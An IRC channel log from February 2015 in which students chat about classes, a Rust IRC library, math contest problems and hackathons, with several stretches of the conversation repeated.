[2015-02-10T12:54:34-0500] <+awe> apothy: and now it's time for systems class
[2015-02-10T12:55:06-0500] <apothy> So you can stay on? :P
[2015-02-10T12:55:54-0500] <+awe> Yeah, I'm usually on during my systems class.
[2015-02-10T12:56:10-0500] <+awe> I mean, it's introductory C.
[2015-02-10T12:56:18-0500] <+awe> I'm pretty sure I'm fine.
[2015-02-10T13:34:39-0500] <JacobEdelman_> wait one minute
[2015-02-10T13:36:53-0500] <JacobEdelman_> most people spell pidgeon "pigeon"
[2015-02-10T13:37:07-0500] <JacobEdelman_> so why is pdgn, "pdgn" instead of "pgn"?
[2015-02-10T13:41:13-0500] <+awe> Because pgn was taken, and is also to me not as apparently pronounced as pigeon.
[2015-02-10T13:50:10-0500] <JacobEdelman_> okay, thats fine
[2015-02-10T13:53:25-0500] <+awe> I'm happy with the name pdgn.co
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[2015-02-10T14:13:35-0500] <failedxyz> hi
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[2015-02-10T11:06:48-0500] <apothy> Well, "pen" is a substring of "pencil", so pens are just pencils, so you are using a pencil :P
[2015-02-10T11:06:51-0500] <apothy> unless you're using a crayon.
[2015-02-10T11:07:00-0500] <apothy> Ohh nice, history.
[2015-02-10T11:07:04-0500] <+awe> I don't use pens for any class. :)
[2015-02-10T11:07:22-0500] <apothy> Ah, so you do use crayons.
[2015-02-10T11:07:24-0500] <apothy> I knew it all along.
[2015-02-10T11:07:29-0500] <+awe> In my CS classes, I just sit there.
[2015-02-10T11:07:48-0500] <apothy> Ah
[2015-02-10T11:07:49-0500] <apothy> the CS ones
[2015-02-10T11:08:13-0500] <+awe> I pay more attention when I don't have anything in front of me anyway.
[2015-02-10T11:08:33-0500] <+awe> So, in my probability class, I just pay really close attention.
[2015-02-10T11:08:41-0500] <+awe> Which is actually what I have soon.
[2015-02-10T11:08:54-0500] <apothy> ooo cool
[2015-02-10T11:09:00-0500] <apothy> probability's cool
[2015-02-10T11:09:03-0500] <apothy> if only I was better at it xD
[2015-02-10T11:09:24-0500] <+awe> Come to UMass! It's in our core curriculum for CS.
[2015-02-10T11:10:13-0500] <apothy> Ohh nice
[2015-02-10T11:10:22-0500] <apothy> They understand the importance xD
[2015-02-10T11:13:55-0500] <JacobEdelman_> awe: you should say both : "PdgnCo (or pdgn for short) is a small IRC network founded on October 27th, 2014 by Aaron Weiss as a bastion of democratic autonomism on the Internet."
[2015-02-10T11:14:07-0500] <JacobEdelman_> and : "Pdgn is currently operated solely by its founder, Aaron Weiss. This means that there's absolutely no administrative bureaucracy of any sort, and there's only one person that you have to trust to keep the network values uncompromised. "
[2015-02-10T11:14:28-0500] <JacobEdelman_> the first describes pdgn as a bastion of democracy and the second enumerates the advantages of a dictatorship
[2015-02-10T11:14:28-0500] <+awe> Being founded by a person doesn't mean they're the sole operator?
[2015-02-10T11:14:30-0500] <apothy> "But you can trust him. I know I can."
[2015-02-10T11:14:38-0500] <+awe> Lol.
[2015-02-10T11:14:49-0500] <+awe> It's a benevolent dictatorship.
[2015-02-10T11:17:04-0500] <+awe> In all seriousness, practically speaking, the best you can get is that there's a sole operator of the network who's going to maintain those values.
[2015-02-10T11:17:29-0500] <+awe> It'd be harder for me to ensure that all of that is true if we had other operators.
[2015-02-10T11:17:44-0500] <+awe> And considering my approach to administration is more-or-less ignoring everything.
[2015-02-10T11:18:04-0500] <+awe> And occasionally kicking you from the channel for teh lulz.
[2015-02-10T11:18:48-0500] <+awe> Anyway. Time for class. Will be back later.
[2015-02-10T11:18:53-0500] <apothy> awe: So long
[2015-02-10T11:18:56-0500] <apothy> Learn well
[2015-02-10T11:19:00-0500] <apothy> Don't forget to write.
[2015-02-10T11:19:30-0500] <JacobEdelman_> yeah, that would be bad learning
[2015-02-10T11:19:33-0500] <JacobEdelman_> if he forgot how to write
[2015-02-10T11:20:36-0500] <apothy> You never know.
[2015-02-10T12:54:34-0500] <+awe> apothy: and now it's time for systems class
[2015-02-10T12:55:06-0500] <apothy> So you can stay on? :P
[2015-02-10T12:55:54-0500] <+awe> Yeah, I'm usually on during my systems class.
[2015-02-10T12:56:10-0500] <+awe> I mean, it's introductory C.
[2015-02-10T12:56:18-0500] <+awe> I'm pretty sure I'm fine.
[2015-02-10T13:34:39-0500] <JacobEdelman_> wait one minute
[2015-02-10T13:36:53-0500] <JacobEdelman_> most people spell pidgeon "pigeon"
[2015-02-10T13:37:07-0500] <JacobEdelman_> so why is pdgn, "pdgn" instead of "pgn"?
[2015-02-10T13:41:13-0500] <+awe> Because pgn was taken, and is also to me not as apparently pronounced as pigeon.
[2015-02-10T13:50:10-0500] <JacobEdelman_> okay, thats fine
[2015-02-10T13:53:25-0500] <+awe> I'm happy with the name pdgn.co
[2015-02-10T14:06:30-0500] <failedxyz> hei
[2015-02-10T14:13:35-0500] <failedxyz> hi
[2015-02-10T14:14:11-0500] <assface> hi
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[2015-02-10T14:55:21-0500] <+awe> hey Fill
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[2015-02-10T11:06:48-0500] <apothy> Well, "pen" is a substring of "pencil", so pens are just pencils, so you are using a pencil :P
[2015-02-10T11:06:51-0500] <apothy> unless you're using a crayon.
[2015-02-10T11:07:00-0500] <apothy> Ohh nice, history.
[2015-02-10T11:07:04-0500] <+awe> I don't use pens for any class. :)
[2015-02-10T11:07:22-0500] <apothy> Ah, so you do use crayons.
[2015-02-10T11:07:24-0500] <apothy> I knew it all along.
[2015-02-10T11:07:29-0500] <+awe> In my CS classes, I just sit there.
[2015-02-10T11:07:48-0500] <apothy> Ah
[2015-02-10T11:07:49-0500] <apothy> the CS ones
[2015-02-10T11:08:13-0500] <+awe> I pay more attention when I don't have anything in front of me anyway.
[2015-02-10T11:08:33-0500] <+awe> So, in my probability class, I just pay really close attention.
[2015-02-10T11:08:41-0500] <+awe> Which is actually what I have soon.
[2015-02-10T11:08:54-0500] <apothy> ooo cool
[2015-02-10T11:09:00-0500] <apothy> probability's cool
[2015-02-10T11:09:03-0500] <apothy> if only I was better at it xD
[2015-02-10T11:09:24-0500] <+awe> Come to UMass! It's in our core curriculum for CS.
[2015-02-10T11:10:13-0500] <apothy> Ohh nice
[2015-02-10T11:10:22-0500] <apothy> They understand the importance xD
[2015-02-10T11:13:55-0500] <JacobEdelman_> awe: you should say both : "PdgnCo (or pdgn for short) is a small IRC network founded on October 27th, 2014 by Aaron Weiss as a bastion of democratic autonomism on the Internet."
[2015-02-10T11:14:07-0500] <JacobEdelman_> and : "Pdgn is currently operated solely by its founder, Aaron Weiss. This means that there's absolutely no administrative bureaucracy of any sort, and there's only one person that you have to trust to keep the network values uncompromised. "
[2015-02-10T11:14:28-0500] <JacobEdelman_> the first describes pdgn as a bastion of democracy and the second enumerates the advantages of a dictatorship
[2015-02-10T11:14:28-0500] <+awe> Being founded by a person doesn't mean they're the sole operator?
[2015-02-10T11:14:30-0500] <apothy> "But you can trust him. I know I can."
[2015-02-10T11:14:38-0500] <+awe> Lol.
[2015-02-10T11:14:49-0500] <+awe> It's a benevolent dictatorship.
[2015-02-10T11:17:04-0500] <+awe> In all seriousness, practically speaking, the best you can get is that there's a sole operator of the network who's going to maintain those values.
[2015-02-10T11:17:29-0500] <+awe> It'd be harder for me to ensure that all of that is true if we had other operators.
[2015-02-10T11:17:44-0500] <+awe> And considering my approach to administration is more-or-less ignoring everything.
[2015-02-10T11:18:04-0500] <+awe> And occasionally kicking you from the channel for teh lulz.
[2015-02-10T11:18:48-0500] <+awe> Anyway. Time for class. Will be back later.
[2015-02-10T11:18:53-0500] <apothy> awe: So long
[2015-02-10T11:18:56-0500] <apothy> Learn well
[2015-02-10T11:19:00-0500] <apothy> Don't forget to write.
[2015-02-10T11:19:30-0500] <JacobEdelman_> yeah, that would be bad learning
[2015-02-10T11:19:33-0500] <JacobEdelman_> if he forgot how to write
[2015-02-10T11:20:36-0500] <apothy> You never know.
[2015-02-10T12:54:34-0500] <+awe> apothy: and now it's time for systems class
[2015-02-10T12:55:06-0500] <apothy> So you can stay on? :P
[2015-02-10T12:55:54-0500] <+awe> Yeah, I'm usually on during my systems class.
[2015-02-10T12:56:10-0500] <+awe> I mean, it's introductory C.
[2015-02-10T12:56:18-0500] <+awe> I'm pretty sure I'm fine.
[2015-02-10T13:34:39-0500] <JacobEdelman_> wait one minute
[2015-02-10T13:36:53-0500] <JacobEdelman_> most people spell pidgeon "pigeon"
[2015-02-10T13:37:07-0500] <JacobEdelman_> so why is pdgn, "pdgn" instead of "pgn"?
[2015-02-10T13:41:13-0500] <+awe> Because pgn was taken, and is also to me not as apparently pronounced as pigeon.
[2015-02-10T13:50:10-0500] <JacobEdelman_> okay, thats fine
[2015-02-10T13:53:25-0500] <+awe> I'm happy with the name pdgn.co
[2015-02-10T14:06:30-0500] <failedxyz> hei
[2015-02-10T14:13:35-0500] <failedxyz> hi
[2015-02-10T14:14:11-0500] <assface> hi
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[2015-02-10T14:55:36-0500] <+awe> Hey, Fill.
[2015-02-10T14:59:33-0500] <Fill> hi awe 
[2015-02-10T15:00:43-0500] <Fill> nice network
[2015-02-10T15:00:46-0500] <+awe> So, my general idea for design right now for the actual library-side is to make some sort of IRC Acceptor similar to TcpAcceptor.
[2015-02-10T15:01:30-0500] <+awe> So, it'll listen via an iterator which will give you IrcClients.
[2015-02-10T15:02:12-0500] <Fill> ok
[2015-02-10T15:03:12-0500] <Fill> just so I know, how familiar are you with the specifics of Rust and how long have you been using it?
[2015-02-10T15:03:37-0500] <+awe> I've been using Rust since September, but I've been looking at it since June.
[2015-02-10T15:03:49-0500] <Fill> Because while I have experience doing C and C++, Rust is still quite new for me
[2015-02-10T15:04:10-0500] <Fill> I started looking at it about a month ago
[2015-02-10T15:05:18-0500] <+awe> This IRC library was actually my first Rust project, but it's evolved so much since then.
[2015-02-10T15:07:02-0500] <Fill> it has great potential. I was looking for similar libraries and this seems to be the only one that is actively being worked on *and* compiles with latest Rust versions, which is awesome
[2015-02-10T15:07:16-0500] <+awe> Yeah, I also have the best name. ;)
[2015-02-10T15:07:21-0500] <+awe> https://github.com/aatxe/irc/tree/0ad276fdaeb502b497fb44a0b062c7cf549b7e4a
[2015-02-10T15:07:36-0500] <+awe> This was the last commit of the original library I wrote.
[2015-02-10T15:07:43-0500] <+awe> And then I gutted the whole thing and rewrote it.
[2015-02-10T15:07:52-0500] <Fill> wow
[2015-02-10T15:08:02-0500] <+awe> Back then, I was using regex for parsing. .-.
[2015-02-10T15:09:22-0500] <+awe> And the design was based on callbacks.
[2015-02-10T15:09:27-0500] <+awe> And it was only single-threaded.
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[2015-02-10T15:11:07-0500] <+awe> And my trait describing a bot had a bunch of send_* functions, and no ability to send a generic message.
[2015-02-10T15:11:16-0500] <+awe> So, if it wasn't one I had written into the interface yet, you couldn't do it.
[2015-02-10T15:12:48-0500] <Fill> well, you gotta start somewhere :P
[2015-02-10T15:12:54-0500] <Fill> it's pretty evolved by now, from what I see
[2015-02-10T15:13:08-0500] <Fill> though I had a quick look at the code only - I need to dig deeper
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[2015-02-10T15:17:32-0500] <+awe> I'd like to think it's a lot better.
[2015-02-10T15:19:26-0500] <Fill> it surely is
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[2015-02-10T15:24:07-0500] <Fill> awe: I have to go for now. It was nice talking to you and meeting you. Like I said, I will go through the code and learn about what you have so far
[2015-02-10T15:24:12-0500] <Fill> and ahm ... we'll be in touch
[2015-02-10T15:24:17-0500] <+awe> Sure thing!
[2015-02-10T15:24:29-0500] <+awe> Talk to you soon then!
[2015-02-10T15:24:33-0500] <Fill> I'm online most of the time
[2015-02-10T15:24:43-0500] <Fill> see ya soon :)
[2015-02-10T15:36:54-0500] <JacobEdelman_> awe: who's Fill?
[2015-02-10T15:40:33-0500] <+awe> Fill is interested in working on an IRCd in Rust.
[2015-02-10T15:55:57-0500] <nezorg> hardmath123: how did you do #6 on caml today?
[2015-02-10T16:08:48-0500] <+awe> hardmath123: did you write your post yet? :p
[2015-02-10T16:21:31-0500] <+awe> Wow, the third homework in CIS 194 is to implement a language from an AST.
[2015-02-10T16:58:57-0500] <ubuntor> hey Fill
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[2015-02-10T17:16:03-0500] <+awe> http://www.squishable.com/pc/squish_fox_15/Big_Animals/Squishable+Fox
[2015-02-10T17:16:09-0500] <+awe> Someone buy this for me.
[2015-02-10T17:16:12-0500] <+awe> I will love you eternally.
[2015-02-10T17:34:05-0500] <Hyper> no, buy one for _me_
[2015-02-10T17:34:15-0500] <nezorg> here's the first angr paper if you guys are interested: http://www.internetsociety.org/sites/default/files/11_1_2.pdf
[2015-02-10T17:34:27-0500] <+awe> nezorg: I'm interested if you buy me an adorable squishable fox.
[2015-02-10T17:34:31-0500] <Hyper> angr?
[2015-02-10T17:34:58-0500] <+awe> The project he's working on with the seclab.
[2015-02-10T17:35:02-0500] <Hyper> ah
[2015-02-10T17:40:06-0500] <ubuntor> time to switch to CM nightlies
[2015-02-10T17:54:10-0500] <ubuntor> so, what if you used pidgin for pdgn?
[2015-02-10T17:57:44-0500] <+awe> I recommend pidgin on the pdgn.co site. :)
[2015-02-10T18:02:11-0500] <ubuntor> lol
[2015-02-10T18:03:19-0500] <Fill> awe: Indeed, Textual seems to be awesome
[2015-02-10T18:05:31-0500] <nezorg> #+BEGIN emacs-evangelizer
[2015-02-10T18:05:36-0500] <nezorg> no, use ERC!
[2015-02-10T18:05:40-0500] <nezorg> #+END
[2015-02-10T18:09:05-0500] <ubuntor> oh, how was japan?
[2015-02-10T18:10:45-0500] <nezorg> awesome!
[2015-02-10T18:14:00-0500] <assface> was it Japaneezy?
[2015-02-10T18:14:24-0500] <nezorg> just like arteezy?
[2015-02-10T18:14:36-0500] <assface> sure
[2015-02-10T18:16:11-0500] <assface> https://i.imgur.com/I0zGSE6.png lol
[2015-02-10T18:17:22-0500] <JacobEdelman_> awe: check alokpathy's facebook 
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[2015-02-10T18:59:48-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-10T15:07:19-0500] <+awe> https://github.com/aatxe/irc/tree/0ad276fdaeb502b497fb44a0b062c7cf549b7e4a
[2015-02-10T15:07:34-0500] <+awe> This was the last commit of the original library I wrote.
[2015-02-10T15:07:41-0500] <+awe> And then I gutted the whole thing and rewrote it.
[2015-02-10T15:07:50-0500] <Fill> wow
[2015-02-10T15:08:00-0500] <+awe> Back then, I was using regex for parsing. .-.
[2015-02-10T15:09:20-0500] <+awe> And the design was based on callbacks.
[2015-02-10T15:09:25-0500] <+awe> And it was only single-threaded.
[2015-02-10T15:11:05-0500] <+awe> And my trait describing a bot had a bunch of send_* functions, and no ability to send a generic message.
[2015-02-10T15:11:14-0500] <+awe> So, if it wasn't one I had written into the interface yet, you couldn't do it.
[2015-02-10T15:12:46-0500] <Fill> well, you gotta start somewhere :P
[2015-02-10T15:12:52-0500] <Fill> it's pretty evolved by now, from what I see
[2015-02-10T15:13:06-0500] <Fill> though I had a quick look at the code only - I need to dig deeper
[2015-02-10T15:17:30-0500] <+awe> I'd like to think it's a lot better.
[2015-02-10T15:19:23-0500] <Fill> it surely is
[2015-02-10T15:24:04-0500] <Fill> awe: I have to go for now. It was nice talking to you and meeting you. Like I said, I will go through the code and learn about what you have so far
[2015-02-10T15:24:10-0500] <Fill> and ahm ... we'll be in touch
[2015-02-10T15:24:15-0500] <+awe> Sure thing!
[2015-02-10T15:24:27-0500] <+awe> Talk to you soon then!
[2015-02-10T15:24:31-0500] <Fill> I'm online most of the time
[2015-02-10T15:24:41-0500] <Fill> see ya soon :)
[2015-02-10T15:36:51-0500] <JacobEdelman_> awe: who's Fill?
[2015-02-10T15:40:31-0500] <+awe> Fill is interested in working on an IRCd in Rust.
[2015-02-10T15:55:55-0500] <nezorg> hardmath123: how did you do #6 on caml today?
[2015-02-10T16:08:46-0500] <+awe> hardmath123: did you write your post yet? :p
[2015-02-10T16:21:29-0500] <+awe> Wow, the third homework in CIS 194 is to implement a language from an AST.
[2015-02-10T16:58:55-0500] <ubuntor> hey Fill
[2015-02-10T17:16:01-0500] <+awe> http://www.squishable.com/pc/squish_fox_15/Big_Animals/Squishable+Fox
[2015-02-10T17:16:07-0500] <+awe> Someone buy this for me.
[2015-02-10T17:16:10-0500] <+awe> I will love you eternally.
[2015-02-10T17:34:02-0500] <Hyper> no, buy one for _me_
[2015-02-10T17:34:13-0500] <nezorg> here's the first angr paper if you guys are interested: http://www.internetsociety.org/sites/default/files/11_1_2.pdf
[2015-02-10T17:34:24-0500] <+awe> nezorg: I'm interested if you buy me an adorable squishable fox.
[2015-02-10T17:34:28-0500] <Hyper> angr?
[2015-02-10T17:34:56-0500] <+awe> The project he's working on with the seclab.
[2015-02-10T17:35:00-0500] <Hyper> ah
[2015-02-10T17:40:04-0500] <ubuntor> time to switch to CM nightlies
[2015-02-10T17:54:07-0500] <ubuntor> so, what if you used pidgin for pdgn?
[2015-02-10T17:57:41-0500] <+awe> I recommend pidgin on the pdgn.co site. :)
[2015-02-10T18:02:08-0500] <ubuntor> lol
[2015-02-10T18:03:17-0500] <Fill> awe: Indeed, Textual seems to be awesome
[2015-02-10T18:05:29-0500] <nezorg> #+BEGIN emacs-evangelizer
[2015-02-10T18:05:34-0500] <nezorg> no, use ERC!
[2015-02-10T18:05:37-0500] <nezorg> #+END
[2015-02-10T18:09:02-0500] <ubuntor> oh, how was japan?
[2015-02-10T18:10:43-0500] <nezorg> awesome!
[2015-02-10T18:13:58-0500] <assface> was it Japaneezy?
[2015-02-10T18:14:22-0500] <nezorg> just like arteezy?
[2015-02-10T18:14:34-0500] <assface> sure
[2015-02-10T18:16:09-0500] <assface> https://i.imgur.com/I0zGSE6.png lol
[2015-02-10T18:17:20-0500] <JacobEdelman_> awe: check alokpathy's facebook 
[2015-02-10T18:59:50-0500] Mode is +nt
[2015-02-10T19:00:52-0500] <+awe> JacobEdelman_: I saw.
[2015-02-10T19:01:18-0500] <+awe> Fill: yeah, it's the nicest graphical client I've ever used.
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[2015-02-10T19:06:11-0500] <+hardmath123> nezorg: what was #6? I don't have the sheet with me.
[2015-02-10T19:06:30-0500] <+hardmath123> awe: no, I usually take several hours to write a decent post.
[2015-02-10T19:06:38-0500] <nezorg> the titanic thing
[2015-02-10T19:06:43-0500] <nezorg> with the room keys
[2015-02-10T19:07:42-0500] <+awe> So, I walked into my building and saw someone facing mostly away from me who looked like a friend of mine based on his attire.
[2015-02-10T19:08:19-0500] <nezorg> uh oh
[2015-02-10T19:08:22-0500] <+awe> So, I walked up closer to him and said "What are you doing here, punk?" after he had turned around.
[2015-02-10T19:08:33-0500] <nezorg> uh oh
[2015-02-10T19:08:35-0500] <+awe> And then he laughed and based on the laugh, I realized immediately that it wasn't who I thought it was.
[2015-02-10T19:08:54-0500] <+awe> But this friend and also this person were black, and now I feel like he might've thought I was racist or something.
[2015-02-10T19:08:56-0500] <+awe> And I feel bad.
[2015-02-10T19:10:15-0500] <+hardmath123> nezorg: is it not 5!5!4!? (I generally make it a policy not to talk about math problems after competitions, but you're an exception :3)
[2015-02-10T19:11:40-0500] <nezorg> hmm, have no idea :P
[2015-02-10T19:11:52-0500] <nezorg> combinatorics is not my area at all
[2015-02-10T19:12:12-0500] <+hardmath123> well
[2015-02-10T19:12:14-0500] <Hyper> when you can metagame your math homework, it's too easy :|
[2015-02-10T19:12:30-0500] • Hyper: can metagame his math homework
[2015-02-10T19:12:31-0500] <Hyper> :(
[2015-02-10T19:12:35-0500] <+hardmath123> consider the rooms cong to 0, 1, and 2 (mod 3) separately
[2015-02-10T19:12:39-0500] <nezorg> heheh, I metagamed #5 on caml today
[2015-02-10T19:12:42-0500] <+hardmath123> and same for the keys
[2015-02-10T19:12:45-0500] <+hardmath123> what was #5?
[2015-02-10T19:12:59-0500] <nezorg> the rhombus inside circle
[2015-02-10T19:13:05-0500] <+hardmath123> oh cmon that was easy
[2015-02-10T19:13:14-0500] <nezorg> thought "hmmm this triangle is probably 3-4-5"
[2015-02-10T19:13:18-0500] <nezorg> then checked my work
[2015-02-10T19:13:32-0500] <nezorg> and was right
[2015-02-10T19:13:48-0500] <Hyper> I don't know if that's quite metagaming
[2015-02-10T19:14:01-0500] <Hyper> well it kinda is because you assume they'll use round numbers for the triangle
[2015-02-10T19:14:07-0500] <Hyper> hrm
[2015-02-10T19:16:58-0500] <+awe> http://hackumass.com
[2015-02-10T19:17:02-0500] <+awe> Registration is opening soon
[2015-02-10T19:17:22-0500] <Hyper> awe: tell us when it's open :)
[2015-02-10T19:17:27-0500] <+awe> I love the "HackUMass is the largest hackathon in the Pioneer Valley, attracting over 500 hackers from all over the country to one arena."
[2015-02-10T19:17:32-0500] <+awe> So many issues.
[2015-02-10T19:17:36-0500] <+awe> Firstly, they've never run it before.
[2015-02-10T19:17:47-0500] <+awe> So, what they mean is they're targeting 500 hackers.
[2015-02-10T19:18:00-0500] <+awe> Secondly, the Pioneer Valley contains like eight towns and is mostly farmland.
[2015-02-10T19:18:15-0500] <+awe> It's one of two hackathons in the Pioneer Valley.
[2015-02-10T19:18:15-0500] <Hyper> I think 300 is really the sweet spot for a hackathon, personally
[2015-02-10T19:18:34-0500] <Hyper> things like pennapps are way too big, 500 is probably still pretty good though
[2015-02-10T19:18:42-0500] <+awe> How many people was PennApps?
[2015-02-10T19:18:49-0500] <Hyper> like 1200 I think?
[2015-02-10T19:18:58-0500] <+awe> Wow.
[2015-02-10T19:19:08-0500] <Hyper> once you get to a certain amount of people you just stop talking to anyone you don't already know
[2015-02-10T19:19:10-0500] <Hyper> which is lame
[2015-02-10T19:19:20-0500] <+awe> Yeah, I didn't speak to anyone except for my team and you.
[2015-02-10T19:19:26-0500] <+awe> And Jay.
[2015-02-10T19:19:29-0500] <+awe> But I didn't really speak to Jay.
[2015-02-10T19:19:33-0500] <Hyper> oh, you talked to jay?
[2015-02-10T19:19:36-0500] <+awe> A little bit.
[2015-02-10T19:19:40-0500] <+awe> He gave me a sandwich.
[2015-02-10T19:19:43-0500] <+awe> I thanked him for sandwich.
[2015-02-10T19:19:43-0500] <Hyper> lol
[2015-02-10T19:20:39-0500] <+awe> He seemed rather not talkative.
[2015-02-10T19:20:48-0500] <Hyper> heh yeah
[2015-02-10T19:20:52-0500] <+awe> He hung around our table until we were sent up to the top 30.
[2015-02-10T19:21:06-0500] <Hyper> :(
[2015-02-10T19:21:12-0500] <+awe> But he didn't say much.
[2015-02-10T19:21:27-0500] <Hyper> (I also thought the judging at pennapps was very iffy but that's another story)
[2015-02-10T19:21:31-0500] <Hyper> so let's not go there
[2015-02-10T19:21:33-0500] <+awe> Extremely iffy.
[2015-02-10T19:21:38-0500] <+awe> The top 30 was all almost identical stuff, too.
[2015-02-10T19:21:45-0500] <+awe> There were like 15 CV projects.
[2015-02-10T19:21:46-0500] <+awe> >.>
[2015-02-10T19:23:13-0500] <Hyper> that's another problem with huge ones, the judges have a finite amount of time to see a large number of projects
[2015-02-10T19:23:54-0500] <nezorg> that should be a hackathon project
[2015-02-10T19:24:06-0500] <nezorg> "a tool to speed up judging of hackathon projects"
[2015-02-10T19:24:13-0500] <+awe> Sure.
[2015-02-10T19:24:15-0500] <+awe> I've got one.
[2015-02-10T19:24:16-0500] <Hyper> a neural implant?
[2015-02-10T19:24:19-0500] <Hyper> lol
[2015-02-10T19:24:25-0500] <+awe> It's called the ban hammer.
[2015-02-10T19:24:36-0500] <+awe> Don't invite a million teams.
[2015-02-10T19:24:38-0500] <nezorg> o rly now
[2015-02-10T19:24:52-0500] <+awe> Alternatively, higher way more judges.
[2015-02-10T19:24:55-0500] <+awe> hire*
[2015-02-10T19:25:00-0500] <+awe> iwotm8
[2015-02-10T19:29:40-0500] <+awe> Hmm, so, the five college registration already opened.
[2015-02-10T19:29:43-0500] <+awe> So, I can register for me.
[2015-02-10T19:31:21-0500] <+hardmath123> @choose homework or pdgn post
[2015-02-10T19:31:21-0500] <awebot> hardmath123: pdgn post
[2015-02-10T19:31:31-0500] <+awe> hardmath123: awebot has spoken.
[2015-02-10T19:31:48-0500] <JacobEdelman_> awe saying that fewer people should be invited is ironic cause he didn't actually get accepted to pennapps
[2015-02-10T19:31:54-0500] <JacobEdelman_> I had to whine at them to accept him
[2015-02-10T19:32:10-0500] <JacobEdelman_> (my brother and I were waitlisted, only Alok actually got in from our team)
[2015-02-10T19:32:48-0500] <+awe> I'm aware.
[2015-02-10T19:32:56-0500] <+awe> I think that's ALSO an issue.
[2015-02-10T19:33:06-0500] <+awe> They should accept teams, not individuals.
[2015-02-10T19:33:34-0500] <+awe> HackUMass wants a link to my resume.
[2015-02-10T19:33:39-0500] <+awe> But they also wanted my GitHub and LinkedIn.
[2015-02-10T19:33:50-0500] <+awe> What could possibly be on my resume that wouldn't appear on both of those things?
[2015-02-10T19:35:34-0500] <+awe> JacobEdelman_: are you going to go?
[2015-02-10T19:35:42-0500] <JacobEdelman_> eh, depends
[2015-02-10T19:35:50-0500] <JacobEdelman_> so many hackathons, and stuffs, so little time
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[2015-02-10T19:36:31-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-10T19:19:18-0500] <+awe> Yeah, I didn't speak to anyone except for my team and you.
[2015-02-10T19:19:24-0500] <+awe> And Jay.
[2015-02-10T19:19:27-0500] <+awe> But I didn't really speak to Jay.
[2015-02-10T19:19:30-0500] <Hyper> oh, you talked to jay?
[2015-02-10T19:19:34-0500] <+awe> A little bit.
[2015-02-10T19:19:38-0500] <+awe> He gave me a sandwich.
[2015-02-10T19:19:41-0500] <+awe> I thanked him for sandwich.
[2015-02-10T19:19:41-0500] <Hyper> lol
[2015-02-10T19:20:37-0500] <+awe> He seemed rather not talkative.
[2015-02-10T19:20:46-0500] <Hyper> heh yeah
[2015-02-10T19:20:49-0500] <+awe> He hung around our table until we were sent up to the top 30.
[2015-02-10T19:21:04-0500] <Hyper> :(
[2015-02-10T19:21:10-0500] <+awe> But he didn't say much.
[2015-02-10T19:21:24-0500] <Hyper> (I also thought the judging at pennapps was very iffy but that's another story)
[2015-02-10T19:21:29-0500] <Hyper> so let's not go there
[2015-02-10T19:21:30-0500] <+awe> Extremely iffy.
[2015-02-10T19:21:36-0500] <+awe> The top 30 was all almost identical stuff, too.
[2015-02-10T19:21:43-0500] <+awe> There were like 15 CV projects.
[2015-02-10T19:21:44-0500] <+awe> >.>
[2015-02-10T19:23:11-0500] <Hyper> that's another problem with huge ones, the judges have a finite amount of time to see a large number of projects
[2015-02-10T19:23:52-0500] <nezorg> that should be a hackathon project
[2015-02-10T19:24:03-0500] <nezorg> "a tool to speed up judging of hackathon projects"
[2015-02-10T19:24:11-0500] <+awe> Sure.
[2015-02-10T19:24:13-0500] <+awe> I've got one.
[2015-02-10T19:24:14-0500] <Hyper> a neural implant?
[2015-02-10T19:24:17-0500] <Hyper> lol
[2015-02-10T19:24:23-0500] <+awe> It's called the ban hammer.
[2015-02-10T19:24:33-0500] <+awe> Don't invite a million teams.
[2015-02-10T19:24:36-0500] <nezorg> o rly now
[2015-02-10T19:24:50-0500] <+awe> Alternatively, higher way more judges.
[2015-02-10T19:24:53-0500] <+awe> hire*
[2015-02-10T19:24:58-0500] <+awe> iwotm8
[2015-02-10T19:29:37-0500] <+awe> Hmm, so, the five college registration already opened.
[2015-02-10T19:29:41-0500] <+awe> So, I can register for me.
[2015-02-10T19:31:19-0500] <+hardmath123> @choose homework or pdgn post
[2015-02-10T19:31:19-0500] <awebot> hardmath123: pdgn post
[2015-02-10T19:31:29-0500] <+awe> hardmath123: awebot has spoken.
[2015-02-10T19:31:46-0500] <JacobEdelman_> awe saying that fewer people should be invited is ironic cause he didn't actually get accepted to pennapps
[2015-02-10T19:31:52-0500] <JacobEdelman_> I had to whine at them to accept him
[2015-02-10T19:32:08-0500] <JacobEdelman_> (my brother and I were waitlisted, only Alok actually got in from our team)
[2015-02-10T19:32:46-0500] <+awe> I'm aware.
[2015-02-10T19:32:53-0500] <+awe> I think that's ALSO an issue.
[2015-02-10T19:33:04-0500] <+awe> They should accept teams, not individuals.
[2015-02-10T19:33:32-0500] <+awe> HackUMass wants a link to my resume.
[2015-02-10T19:33:37-0500] <+awe> But they also wanted my GitHub and LinkedIn.
[2015-02-10T19:33:48-0500] <+awe> What could possibly be on my resume that wouldn't appear on both of those things?
[2015-02-10T19:35:32-0500] <+awe> JacobEdelman_: are you going to go?
[2015-02-10T19:35:40-0500] <JacobEdelman_> eh, depends
[2015-02-10T19:35:48-0500] <JacobEdelman_> so many hackathons, and stuffs, so little time
[2015-02-10T19:36:00-0500] <JacobEdelman_> also, unlike alok, I'm a junior so I need to get grades :(
[2015-02-10T19:36:33-0500] Mode is +nt
[2015-02-10T19:36:49-0500] <LittleBobbyTables> no you don't
[2015-02-10T19:36:59-0500] <LittleBobbyTables> pro life tip: grades don't matter, just graduate
[2015-02-10T19:37:52-0500] <nezorg> awe: plenty of people don't use linkedin
[2015-02-10T19:37:52-0500] <nezorg> (also plenty of people don't use github but not many who go to hackathons)
[2015-02-10T19:37:58-0500] <+awe> I know.
[2015-02-10T19:38:58-0500] <+awe> nezorg: but all fields are mandatory.
[2015-02-10T19:39:05-0500] <nezorg> oh, that's weird
[2015-02-10T19:39:11-0500] <nezorg> then say "N/A" or something
[2015-02-10T19:39:24-0500] <JacobEdelman_> FYI: John Stewart is leaving the daily show
[2015-02-10T19:39:24-0500] <+awe> I did.
[2015-02-10T19:39:28-0500] <+awe> I said N/a, I don't have a recent one.
[2015-02-10T19:39:31-0500] <JacobEdelman_> feel free to go cry in a corner now
[2015-02-10T19:40:30-0500] <nezorg> wait, what?
[2015-02-10T19:40:32-0500] <+jwoglom> JacobEdelman_: :(
[2015-02-10T19:40:36-0500] <nezorg> how is that possible
[2015-02-10T19:40:37-0500] <+jwoglom> http://www.avclub.com/article/jon-stewart-says-hes-leaving-daily-show-215070?utm_source=Facebook&utm_medium=SocialMarketing&utm_campaign=LinkPreview:1:Default
